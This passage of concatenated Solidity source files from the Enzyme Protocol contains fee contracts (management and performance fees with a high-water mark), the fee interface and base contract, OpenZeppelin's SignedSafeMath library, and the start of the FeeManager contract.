/// @return implementedHooksForSettle_ The hooks during which settle() is implemented
/// @return implementedHooksForUpdate_ The hooks during which update() is implemented
/// @return usesGavOnSettle_ True if GAV is used during the settle() implementation
/// @return usesGavOnUpdate_ True if GAV is used during the update() implementation
/// @dev Used only during fee registration
function implementedHooks()
external
view
override
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
)
{
implementedHooksForSettle_ = new IFeeManager.FeeHook[](3);
implementedHooksForSettle_[0] = IFeeManager.FeeHook.Continuous;
implementedHooksForSettle_[1] = IFeeManager.FeeHook.BuySharesSetup;
implementedHooksForSettle_[2] = IFeeManager.FeeHook.PreRedeemShares;
return (implementedHooksForSettle_, new IFeeManager.FeeHook[](0), false, false);
}
/// @notice Settle the fee and calculate shares due
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
/// @return settlementType_ The type of settlement
/// @return (unused) The payer of shares due
/// @return sharesDue_ The amount of shares due
function settle(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook,
bytes calldata,
uint256
)
external
override
onlyFeeManager
returns (
IFeeManager.SettlementType settlementType_,
address,
uint256 sharesDue_
)
{
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
// If this fee was settled in the current block, we can return early
uint256 secondsSinceSettlement = block.timestamp.sub(feeInfo.lastSettled);
if (secondsSinceSettlement == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
// If there are shares issued for the fund, calculate the shares due
VaultLib vaultProxyContract = VaultLib(_vaultProxy);
uint256 sharesSupply = vaultProxyContract.totalSupply();
if (sharesSupply > 0) {
// This assumes that all shares in the VaultProxy are shares outstanding,
// which is fine for this release. Even if they are not, they are still shares that
// are only claimable by the fund owner.
uint256 netSharesSupply = sharesSupply.sub(vaultProxyContract.balanceOf(_vaultProxy));
if (netSharesSupply > 0) {
sharesDue_ = netSharesSupply
.mul(
__rpow(feeInfo.scaledPerSecondRate, secondsSinceSettlement, RATE_SCALE_BASE)
.sub(RATE_SCALE_BASE)
)
.div(RATE_SCALE_BASE);
}
}
// Must settle even when no shares are due, for the case that settlement is being
// done when there are no shares in the fund (i.e. at the first investment, or at the
// first investment after all shares have been redeemed)
comptrollerProxyToFeeInfo[_comptrollerProxy].lastSettled = block.timestamp;
emit Settled(_comptrollerProxy, sharesDue_, secondsSinceSettlement);
if (sharesDue_ == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
return (IFeeManager.SettlementType.Mint, address(0), sharesDue_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the feeInfo for a given fund
/// @param _comptrollerProxy The ComptrollerProxy contract of the fund
/// @return feeInfo_ The feeInfo
function getFeeInfoForFund(address _comptrollerProxy)
external
view
returns (FeeInfo memory feeInfo_)
{
return comptrollerProxyToFeeInfo[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../IFee.sol";
/// @title FeeBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Abstract base contract for all fees
abstract contract FeeBase is IFee {
address internal immutable FEE_MANAGER;
modifier onlyFeeManager {
require(msg.sender == FEE_MANAGER, "Only the FeeManger can make this call");
_;
}
constructor(address _feeManager) public {
FEE_MANAGER = _feeManager;
}
/// @notice Allows Fee to run logic during fund activation
/// @dev Unimplemented by default, may be overrode.
function activateForFund(address, address) external virtual override {
return;
}
/// @notice Runs payout logic for a fee that utilizes shares outstanding as its settlement type
/// @dev Returns false by default, can be overridden by fee
function payout(address, address) external virtual override returns (bool) {
return false;
}
/// @notice Update fee state after all settlement has occurred during a given fee hook
/// @dev Unimplemented by default, can be overridden by fee
function update(
address,
address,
IFeeManager.FeeHook,
bytes calldata,
uint256
) external virtual override {
return;
}
/// @notice Helper to parse settlement arguments from encoded data for PreBuyShares fee hook
function __decodePreBuySharesSettlementData(bytes memory _settlementData)
internal
pure
returns (
address buyer_,
uint256 investmentAmount_,
uint256 minSharesQuantity_
)
{
return abi.decode(_settlementData, (address, uint256, uint256));
}
/// @notice Helper to parse settlement arguments from encoded data for PreRedeemShares fee hook
function __decodePreRedeemSharesSettlementData(bytes memory _settlementData)
internal
pure
returns (address redeemer_, uint256 sharesQuantity_)
{
return abi.decode(_settlementData, (address, uint256));
}
/// @notice Helper to parse settlement arguments from encoded data for PostBuyShares fee hook
function __decodePostBuySharesSettlementData(bytes memory _settlementData)
internal
pure
returns (
address buyer_,
uint256 investmentAmount_,
uint256 sharesBought_
)
{
return abi.decode(_settlementData, (address, uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() external view returns (address feeManager_) {
return FEE_MANAGER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IFeeManager.sol";
/// @title Fee Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all fees
interface IFee {
function activateForFund(address _comptrollerProxy, address _vaultProxy) external;
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData) external;
function identifier() external pure returns (string memory identifier_);
function implementedHooks()
external
view
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
);
function payout(address _comptrollerProxy, address _vaultProxy)
external
returns (bool isPayable_);
function settle(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
)
external
returns (
IFeeManager.SettlementType settlementType_,
address payer_,
uint256 sharesDue_
);
function update(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../core/fund/comptroller/ComptrollerLib.sol";
import "../FeeManager.sol";
import "./utils/FeeBase.sol";
/// @title PerformanceFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice A performance-based fee with configurable rate and crystallization period, using
/// a high watermark
/// @dev This contract assumes that all shares in the VaultProxy are shares outstanding,
/// which is fine for this release. Even if they are not, they are still shares that
/// are only claimable by the fund owner.
contract PerformanceFee is FeeBase {
using SafeMath for uint256;
using SignedSafeMath for int256;
event ActivatedForFund(address indexed comptrollerProxy, uint256 highWaterMark);
event FundSettingsAdded(address indexed comptrollerProxy, uint256 rate, uint256 period);
event LastSharePriceUpdated(
address indexed comptrollerProxy,
uint256 prevSharePrice,
uint256 nextSharePrice
);
event PaidOut(
address indexed comptrollerProxy,
uint256 prevHighWaterMark,
uint256 nextHighWaterMark,
uint256 aggregateValueDue
);
event PerformanceUpdated(
address indexed comptrollerProxy,
uint256 prevAggregateValueDue,
uint256 nextAggregateValueDue,
int256 sharesOutstandingDiff
);
struct FeeInfo {
uint256 rate;
uint256 period;
uint256 activated;
uint256 lastPaid;
uint256 highWaterMark;
uint256 lastSharePrice;
uint256 aggregateValueDue;
}
uint256 private constant RATE_DIVISOR = 10**18;
uint256 private constant SHARE_UNIT = 10**18;
mapping(address => FeeInfo) private comptrollerProxyToFeeInfo;
constructor(address _feeManager) public FeeBase(_feeManager) {}
// EXTERNAL FUNCTIONS
/// @notice Activates the fee for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
function activateForFund(address _comptrollerProxy, address) external override onlyFeeManager {
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
// We must not force asset finality, otherwise funds that have Synths as tracked assets
// would be susceptible to a DoS attack when attempting to migrate to a release that uses
// this fee: an attacker trades a negligible amount of a tracked Synth with the VaultProxy
// as the recipient, thus causing `calcGrossShareValue(true)` to fail.
(uint256 grossSharePrice, bool sharePriceIsValid) = ComptrollerLib(_comptrollerProxy)
.calcGrossShareValue(false);
require(sharePriceIsValid, "activateForFund: Invalid share price");
feeInfo.highWaterMark = grossSharePrice;
feeInfo.lastSharePrice = grossSharePrice;
feeInfo.activated = block.timestamp;
emit ActivatedForFund(_comptrollerProxy, grossSharePrice);
}
/// @notice Add the initial fee settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settingsData Encoded settings to apply to the policy for the fund
/// @dev `highWaterMark`, `lastSharePrice`, and `activated` are set during activation
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData)
external
override
onlyFeeManager
{
(uint256 feeRate, uint256 feePeriod) = abi.decode(_settingsData, (uint256, uint256));
require(feeRate > 0, "addFundSettings: feeRate must be greater than 0");
require(feePeriod > 0, "addFundSettings: feePeriod must be greater than 0");
comptrollerProxyToFeeInfo[_comptrollerProxy] = FeeInfo({
rate: feeRate,
period: feePeriod,
activated: 0,
lastPaid: 0,
highWaterMark: 0,
lastSharePrice: 0,
aggregateValueDue: 0
});
emit FundSettingsAdded(_comptrollerProxy, feeRate, feePeriod);
}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "PERFORMANCE";
}
/// @notice Gets the hooks that are implemented by the fee
/// @return implementedHooksForSettle_ The hooks during which settle() is implemented
/// @return implementedHooksForUpdate_ The hooks during which update() is implemented
/// @return usesGavOnSettle_ True if GAV is used during the settle() implementation
/// @return usesGavOnUpdate_ True if GAV is used during the update() implementation
/// @dev Used only during fee registration
function implementedHooks()
external
view
override
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
)
{
implementedHooksForSettle_ = new IFeeManager.FeeHook[](3);
implementedHooksForSettle_[0] = IFeeManager.FeeHook.Continuous;
implementedHooksForSettle_[1] = IFeeManager.FeeHook.BuySharesSetup;
implementedHooksForSettle_[2] = IFeeManager.FeeHook.PreRedeemShares;
implementedHooksForUpdate_ = new IFeeManager.FeeHook[](3);
implementedHooksForUpdate_[0] = IFeeManager.FeeHook.Continuous;
implementedHooksForUpdate_[1] = IFeeManager.FeeHook.BuySharesCompleted;
implementedHooksForUpdate_[2] = IFeeManager.FeeHook.PreRedeemShares;
return (implementedHooksForSettle_, implementedHooksForUpdate_, true, true);
}
/// @notice Checks whether the shares outstanding for the fee can be paid out, and updates
/// the info for the fee's last payout
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return isPayable_ True if shares outstanding can be paid out
function payout(address _comptrollerProxy, address)
external
override
onlyFeeManager
returns (bool isPayable_)
{
if (!payoutAllowed(_comptrollerProxy)) {
return false;
}
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
feeInfo.lastPaid = block.timestamp;
uint256 prevHighWaterMark = feeInfo.highWaterMark;
uint256 nextHighWaterMark = __calcUint256Max(feeInfo.lastSharePrice, prevHighWaterMark);
uint256 prevAggregateValueDue = feeInfo.aggregateValueDue;
// Update state as necessary
if (prevAggregateValueDue > 0) {
feeInfo.aggregateValueDue = 0;
}
if (nextHighWaterMark > prevHighWaterMark) {
feeInfo.highWaterMark = nextHighWaterMark;
}
emit PaidOut(
_comptrollerProxy,
prevHighWaterMark,
nextHighWaterMark,
prevAggregateValueDue
);
return true;
}
/// @notice Settles the fee and calculates shares due
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
/// @param _gav The GAV of the fund
/// @return settlementType_ The type of settlement
/// @return (unused) The payer of shares due
/// @return sharesDue_ The amount of shares due
function settle(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook,
bytes calldata,
uint256 _gav
)
external
override
onlyFeeManager
returns (
IFeeManager.SettlementType settlementType_,
address,
uint256 sharesDue_
)
{
if (_gav == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
int256 settlementSharesDue = __settleAndUpdatePerformance(
_comptrollerProxy,
_vaultProxy,
_gav
);
if (settlementSharesDue == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
} else if (settlementSharesDue > 0) {
// Settle by minting shares outstanding for custody
return (
IFeeManager.SettlementType.MintSharesOutstanding,
address(0),
uint256(settlementSharesDue)
);
} else {
// Settle by burning from shares outstanding
return (
IFeeManager.SettlementType.BurnSharesOutstanding,
address(0),
uint256(-settlementSharesDue)
);
}
}
/// @notice Updates the fee state after all fees have finished settle()
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
/// @param _hook The FeeHook being executed
/// @param _settlementData Encoded args to use in calculating the settlement
/// @param _gav The GAV of the fund
function update(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external override onlyFeeManager {
uint256 prevSharePrice = comptrollerProxyToFeeInfo[_comptrollerProxy].lastSharePrice;
uint256 nextSharePrice = __calcNextSharePrice(
_comptrollerProxy,
_vaultProxy,
_hook,
_settlementData,
_gav
);
if (nextSharePrice == prevSharePrice) {
return;
}
comptrollerProxyToFeeInfo[_comptrollerProxy].lastSharePrice = nextSharePrice;
emit LastSharePriceUpdated(_comptrollerProxy, prevSharePrice, nextSharePrice);
}
// PUBLIC FUNCTIONS
/// @notice Checks whether the shares outstanding can be paid out
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return payoutAllowed_ True if the fee payment is due
/// @dev Payout is allowed if fees have not yet been settled in a crystallization period,
/// and at least 1 crystallization period has passed since activation
function payoutAllowed(address _comptrollerProxy) public view returns (bool payoutAllowed_) {
FeeInfo memory feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
uint256 period = feeInfo.period;
uint256 timeSinceActivated = block.timestamp.sub(feeInfo.activated);
// Check if at least 1 crystallization period has passed since activation
if (timeSinceActivated < period) {
return false;
}
// Check that a full crystallization period has passed since the last payout
uint256 timeSincePeriodStart = timeSinceActivated % period;
uint256 periodStart = block.timestamp.sub(timeSincePeriodStart);
return feeInfo.lastPaid < periodStart;
}
// PRIVATE FUNCTIONS
/// @dev Helper to calculate the aggregated value accumulated to a fund since the last
/// settlement (happening at investment/redemption)
/// Validated:
/// _netSharesSupply > 0
/// _sharePriceWithoutPerformance != _prevSharePrice
function __calcAggregateValueDue(
uint256 _netSharesSupply,
uint256 _sharePriceWithoutPerformance,
uint256 _prevSharePrice,
uint256 _prevAggregateValueDue,
uint256 _feeRate,
uint256 _highWaterMark
) private pure returns (uint256) {
int256 superHWMValueSinceLastSettled = (
int256(__calcUint256Max(_highWaterMark, _sharePriceWithoutPerformance)).sub(
int256(__calcUint256Max(_highWaterMark, _prevSharePrice))
)
)
.mul(int256(_netSharesSupply))
.div(int256(SHARE_UNIT));
int256 valueDueSinceLastSettled = superHWMValueSinceLastSettled.mul(int256(_feeRate)).div(
int256(RATE_DIVISOR)
);
return
uint256(
__calcInt256Max(0, int256(_prevAggregateValueDue).add(valueDueSinceLastSettled))
);
}
/// @dev Helper to calculate the max of two int values
function __calcInt256Max(int256 _a, int256 _b) private pure returns (int256) {
if (_a >= _b) {
return _a;
}
return _b;
}
/// @dev Helper to calculate the next `lastSharePrice` value
function __calcNextSharePrice(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes memory _settlementData,
uint256 _gav
) private view returns (uint256 nextSharePrice_) {
uint256 denominationAssetUnit = 10 **
uint256(ERC20(ComptrollerLib(_comptrollerProxy).getDenominationAsset()).decimals());
if (_gav == 0) {
return denominationAssetUnit;
}
// Get shares outstanding via VaultProxy balance and calc shares supply to get net shares supply
ERC20 vaultProxyContract = ERC20(_vaultProxy);
uint256 totalSharesSupply = vaultProxyContract.totalSupply();
uint256 nextNetSharesSupply = totalSharesSupply.sub(
vaultProxyContract.balanceOf(_vaultProxy)
);
if (nextNetSharesSupply == 0) {
return denominationAssetUnit;
}
uint256 nextGav = _gav;
// For both Continuous and BuySharesCompleted hooks, _gav and shares supply will not change,
// we only need additional calculations for PreRedeemShares
if (_hook == IFeeManager.FeeHook.PreRedeemShares) {
(, uint256 sharesDecrease) = __decodePreRedeemSharesSettlementData(_settlementData);
// Shares have not yet been burned
nextNetSharesSupply = nextNetSharesSupply.sub(sharesDecrease);
if (nextNetSharesSupply == 0) {
return denominationAssetUnit;
}
// Assets have not yet been withdrawn
uint256 gavDecrease = sharesDecrease
.mul(_gav)
.mul(SHARE_UNIT)
.div(totalSharesSupply)
.div(denominationAssetUnit);
nextGav = nextGav.sub(gavDecrease);
if (nextGav == 0) {
return denominationAssetUnit;
}
}
return nextGav.mul(SHARE_UNIT).div(nextNetSharesSupply);
}
/// @dev Helper to calculate the performance metrics for a fund.
/// Validated:
/// _totalSharesSupply > 0
/// _gav > 0
/// _totalSharesSupply != _totalSharesOutstanding
function __calcPerformance(
address _comptrollerProxy,
uint256 _totalSharesSupply,
uint256 _totalSharesOutstanding,
uint256 _prevAggregateValueDue,
FeeInfo memory feeInfo,
uint256 _gav
) private view returns (uint256 nextAggregateValueDue_, int256 sharesDue_) {
// Use the 'shares supply net shares outstanding' for performance calcs.
// Cannot be 0, as _totalSharesSupply != _totalSharesOutstanding
uint256 netSharesSupply = _totalSharesSupply.sub(_totalSharesOutstanding);
uint256 sharePriceWithoutPerformance = _gav.mul(SHARE_UNIT).div(netSharesSupply);
// If gross share price has not changed, can exit early
uint256 prevSharePrice = feeInfo.lastSharePrice;
if (sharePriceWithoutPerformance == prevSharePrice) {
return (_prevAggregateValueDue, 0);
}
nextAggregateValueDue_ = __calcAggregateValueDue(
netSharesSupply,
sharePriceWithoutPerformance,
prevSharePrice,
_prevAggregateValueDue,
feeInfo.rate,
feeInfo.highWaterMark
);
sharesDue_ = __calcSharesDue(
_comptrollerProxy,
netSharesSupply,
_gav,
nextAggregateValueDue_
);
return (nextAggregateValueDue_, sharesDue_);
}
/// @dev Helper to calculate sharesDue during settlement.
/// Validated:
/// _netSharesSupply > 0
/// _gav > 0
function __calcSharesDue(
address _comptrollerProxy,
uint256 _netSharesSupply,
uint256 _gav,
uint256 _nextAggregateValueDue
) private view returns (int256 sharesDue_) {
// If _nextAggregateValueDue > _gav, then no shares can be created.
// This is a known limitation of the model, which is only reached for unrealistically
// high performance fee rates (> 100%). A revert is allowed in such a case.
uint256 sharesDueForAggregateValueDue = _nextAggregateValueDue.mul(_netSharesSupply).div(
_gav.sub(_nextAggregateValueDue)
);
// Shares due is the +/- diff or the total shares outstanding already minted
return
int256(sharesDueForAggregateValueDue).sub(
int256(
FeeManager(FEE_MANAGER).getFeeSharesOutstandingForFund(
_comptrollerProxy,
address(this)
)
)
);
}
/// @dev Helper to calculate the max of two uint values
function __calcUint256Max(uint256 _a, uint256 _b) private pure returns (uint256) {
if (_a >= _b) {
return _a;
}
return _b;
}
/// @dev Helper to settle the fee and update performance state.
/// Validated:
/// _gav > 0
function __settleAndUpdatePerformance(
address _comptrollerProxy,
address _vaultProxy,
uint256 _gav
) private returns (int256 sharesDue_) {
ERC20 sharesTokenContract = ERC20(_vaultProxy);
uint256 totalSharesSupply = sharesTokenContract.totalSupply();
if (totalSharesSupply == 0) {
return 0;
}
uint256 totalSharesOutstanding = sharesTokenContract.balanceOf(_vaultProxy);
if (totalSharesOutstanding == totalSharesSupply) {
return 0;
}
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
uint256 prevAggregateValueDue = feeInfo.aggregateValueDue;
uint256 nextAggregateValueDue;
(nextAggregateValueDue, sharesDue_) = __calcPerformance(
_comptrollerProxy,
totalSharesSupply,
totalSharesOutstanding,
prevAggregateValueDue,
feeInfo,
_gav
);
if (nextAggregateValueDue == prevAggregateValueDue) {
return 0;
}
// Update fee state
feeInfo.aggregateValueDue = nextAggregateValueDue;
emit PerformanceUpdated(
_comptrollerProxy,
prevAggregateValueDue,
nextAggregateValueDue,
sharesDue_
);
return sharesDue_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the feeInfo for a given fund
/// @param _comptrollerProxy The ComptrollerProxy contract of the fund
/// @return feeInfo_ The feeInfo
function getFeeInfoForFund(address _comptrollerProxy)
external
view
returns (FeeInfo memory feeInfo_)
{
return comptrollerProxyToFeeInfo[_comptrollerProxy];
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../core/fund/comptroller/IComptroller.sol";
import "../../core/fund/vault/IVault.sol";
import "../../utils/AddressArrayLib.sol";
import "../utils/ExtensionBase.sol";
import "../utils/FundDeployerOwnerMixin.sol";
import "../utils/PermissionedVaultActionMixin.sol";
import "./IFee.sol";
import "./IFeeManager.sol";
/// @title FeeManager Contract
/// @author Enzyme Council <[email protected]>
/// @notice Manages fees for funds
contract FeeManager is
IFeeManager,
ExtensionBase,
FundDeployerOwnerMixin,
PermissionedVaultActionMixin
{
using AddressArrayLib for address[];
using EnumerableSet for EnumerableSet.AddressSet;
using SafeMath for uint256;
event AllSharesOutstandingForcePaidForFund(
address indexed comptrollerProxy,
address payee,
uint256 sharesDue
);
event FeeDeregistered(address indexed fee, string indexed identifier);
event FeeEnabledForFund(
address indexed comptrollerProxy,
address indexed fee,
bytes settingsData
);
event FeeRegistered(
address indexed fee,
string indexed identifier,
FeeHook[] implementedHooksForSettle,
FeeHook[] implementedHooksForUpdate,
bool usesGavOnSettle,
bool usesGavOnUpdate
);
event FeeSettledForFund(
address indexed comptrollerProxy,
address indexed fee,
SettlementType indexed settlementType,
address payer,
address payee,
uint256 sharesDue
);
event SharesOutstandingPaidForFund(
address indexed comptrollerProxy,
address indexed fee,
uint256 sharesDue
);
event FeesRecipientSetForFund(
address indexed comptrollerProxy,
address prevFeesRecipient,
address nextFeesRecipient
);
EnumerableSet.AddressSet private registeredFees;
mapping(address => bool) private feeToUsesGavOnSettle;
mapping(address => bool) private feeToUsesGavOnUpdate;
mapping(address => mapping(FeeHook => bool)) private feeToHookToImplementsSettle;
mapping(address => mapping(FeeHook => bool)) private feeToHookToImplementsUpdate;
mapping(address => address[]) private comptrollerProxyToFees;
mapping(address => mapping(address => uint256))
private comptrollerProxyToFeeToSharesOutstanding;
constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {}
// EXTERNAL FUNCTIONS
/// @notice Activate already-configured fees for use in the calling fund
function activateForFund(bool) external override {
address vaultProxy = __setValidatedVaultProxy(msg.sender);
address[] memory enabledFees = comptrollerProxyToFees[msg.sender];
for (uint256 i; i < enabledFees.length; i++) {
IFee(enabledFees[i]).activateForFund(msg.sender, vaultProxy);
}
}
/// @notice Deactivate fees for a fund
/// @dev msg.sender is validated during __invokeHook()
function deactivateForFund() external override {
// Settle continuous fees one last time, but without calling Fee.update()
__invokeHook(msg.sender, IFeeManager.FeeHook.Continuous, "", 0, false);
// Force payout of remaining shares outstanding
__forcePayoutAllSharesOutstanding(msg.sender);
// Clean up storage
__deleteFundStorage(msg.sender);
}
/// @notice Receives a dispatched `callOnExtension` from a fund's ComptrollerProxy
/// @param _actionId An ID representing the desired action
/// @param _callArgs Encoded arguments specific to the _actionId
/// @dev This is the only way to call a function on this contract that updates VaultProxy state.
/// For both of these actions, any caller is allowed, so we don't use the caller param.
function receiveCallFromComptroller(
address,
uint256 _actionId,
bytes calldata _callArgs
) external override {
if (_actionId == 0) {
// Settle and update all continuous fees
__invokeHook(msg.sender, IFeeManager.FeeHook.Continuous, "", 0, true);
} else if (_actionId == 1) {
__payoutSharesOutstandingForFees(msg.sender, _callArgs);
} else {
revert("receiveCallFromComptroller: Invalid _actionId");
}
}
/// @notice Enable and configure fees for use in the calling fund
/// @param _configData Encoded config data
/// @dev Caller is expected to be a valid ComptrollerProxy, but there isn't a need to validate.
/// The order of `fees` determines the order in which fees of the same FeeHook will be applied.
/// It is recommended to run ManagementFee before PerformanceFee in order to achieve precise
/// PerformanceFee calcs.
function setConfigForFund(bytes calldata _configData) external override {
(address[] memory fees, bytes[] memory settingsData) = abi.decode(
_configData,
(address[], bytes[])
);
// Sanity checks
require(
fees.length == settingsData.length,
"setConfigForFund: fees and settingsData array lengths unequal"
);
require(fees.isUniqueSet(), "setConfigForFund: fees cannot include duplicates");
// Enable each fee with settings
for (uint256 i; i < fees.length; i++) {
require(isRegisteredFee(fees[i]), "setConfigForFund: Fee is not registered");
// Set fund config on fee
IFee(fees[i]).addFundSettings(msg.sender, settingsData[i]);
// Enable fee for fund
comptrollerProxyToFees[msg.sender].push(fees[i]);
emit FeeEnabledForFund(msg.sender, fees[i], settingsData[i]);
}
}
/// @notice Allows all fees for a particular FeeHook to implement settle() and update() logic
/// @param _hook The FeeHook to invoke
/// @param _settlementData The encoded settlement parameters specific to the FeeHook
/// @param _gav The GAV for a fund if known in the invocating code, otherwise 0
function invokeHook(
FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external override {
__invokeHook(msg.sender, _hook, _settlementData, _gav, true);
}
// PRIVATE FUNCTIONS
/// @dev Helper to destroy local storage to get gas refund,
/// and to prevent further calls to fee manager
function __deleteFundStorage(address _comptrollerProxy) private {
delete comptrollerProxyToFees[_comptrollerProxy];
delete comptrollerProxyToVaultProxy[_comptrollerProxy];
}
/// @dev Helper to force the payout of shares outstanding across all fees.
/// For the current release, all shares in the VaultProxy are assumed to be
/// shares outstanding from fees. If not, then they were sent there by mistake
/// and are otherwise unrecoverable. We can therefore take the VaultProxy's
/// shares balance as the totalSharesOutstanding to payout to the fund owner.
function __forcePayoutAllSharesOutstanding(address _comptrollerProxy) private {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
uint256 totalSharesOutstanding = ERC20(vaultProxy).balanceOf(vaultProxy);
if (totalSharesOutstanding == 0) {
return;
}
// Destroy any shares outstanding storage
address[] memory fees = comptrollerProxyToFees[_comptrollerProxy];
for (uint256 i; i < fees.length; i++) {
delete comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]];
}
// Distribute all shares outstanding to the fees recipient
address payee = IVault(vaultProxy).getOwner();
__transferShares(_comptrollerProxy, vaultProxy, payee, totalSharesOutstanding);
emit AllSharesOutstandingForcePaidForFund(
_comptrollerProxy,
payee,
totalSharesOutstanding
);
}
/// @dev Helper to get the canonical value of GAV if not yet set and required by fee
function __getGavAsNecessary(
address _comptrollerProxy,
address _fee,
uint256 _gavOrZero
) private returns (uint256 gav_) {
if (_gavOrZero == 0 && feeUsesGavOnUpdate(_fee)) {
// Assumes that any fee that requires GAV would need to revert if invalid or not final
bool gavIsValid;
(gav_, gavIsValid) = IComptroller(_comptrollerProxy).calcGav(true);
require(gavIsValid, "__getGavAsNecessary: Invalid GAV");
} else {
gav_ = _gavOrZero;
}
return gav_;
}
/// @dev Helper to run settle() on all enabled fees for a fund that implement a given hook, and then to
/// optionally run update() on the same fees. This order allows fees an opportunity to update
